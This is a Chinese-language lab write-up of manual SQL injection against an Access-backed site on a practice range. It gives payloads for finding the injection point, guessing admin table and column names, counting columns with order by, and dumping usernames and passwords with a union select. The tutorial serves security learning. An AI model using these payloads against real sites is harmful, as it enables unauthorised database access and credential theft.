前言
今天進行了access手工注入,下面是我的實戰過程和總結。
實戰環境使用的是墨者學院的在線靶場。下面咱們直接進入主題。
判斷注入點
通過‘ 或者 and 1=1 和 and 1=2 是否報錯,如下圖。
接下來咱們輸入 and 1=2 發現報錯了,說明存在注入點。如下圖。
猜數據庫表名
在access數據庫中,打開里面直接就是表,所以我們只能猜表名,通過這條語句 and exists (select * from 表名)常見的一些表名為 admins users administrator,admin,admins,admin_user,admin_usr,admin_msg,admin_login,user,username,manager,msg_user,msg_login,useradmin等。通過猜測,我們查到 存在admin這個表,這里用到的原理是,如果存在正常顯示,不存在就報錯,如下圖。
猜測表里有幾個字段
通過order by 語句,小於輸出的數字正常顯示,大於輸出的數字報錯。我們猜出為四個字段。如下圖。
猜測字段
通過這條語句 and exists (select 字段 from admin)常見的字段有 username password pass passwd user_name 等
如果對方的數據庫字段較多,咱們又猜不出來,並且有回顯位置,可以嘗試偏移注入。這里通過直接猜測就猜出來了,如下圖。
根據圖片的內容我們,我們猜測出的兩個字段為,username ,passwd ,根據字段名字我們就知道里面存放的為賬號和密碼。
聯合查詢爆出賬號和密碼
通過這條語句 union select 1,2,3,4 from admin 我們知道了,2,3,這兩個位置回顯到頁面上,這就是我們需要的。如下圖。
接下來,我們把之前查找出來的 字段 替換到2,3 兩個位置,語句為 union select 1,username,passwd,4 from admin 結果為下圖,爆出了賬號密碼。
手工注入總結
1、 先判斷有沒有注入點
2、 參數后面加 and exists(select*from admin) 猜表名 返回正常頁面表示存在(admin)
3、 參數后面加 and exists(select username from admin)猜(admin)表中是否存在列名(username) 返回正常頁面表示存在
4、 參數后面加 and exists(select passwd from admin)猜(admin)表中是否存在列名(passwd) 返回正常頁面表示存在
5、 判斷字段數 參數后面加 order by 4 (判斷字段數為4)
6、 判斷回顯 參數后面加 union select 1,2,3,4 from admin
7、 爆出列名的信息 參數后面加 union select 1,username,passwd,4 from admin
8、獲取到賬號密碼,手工注入結束。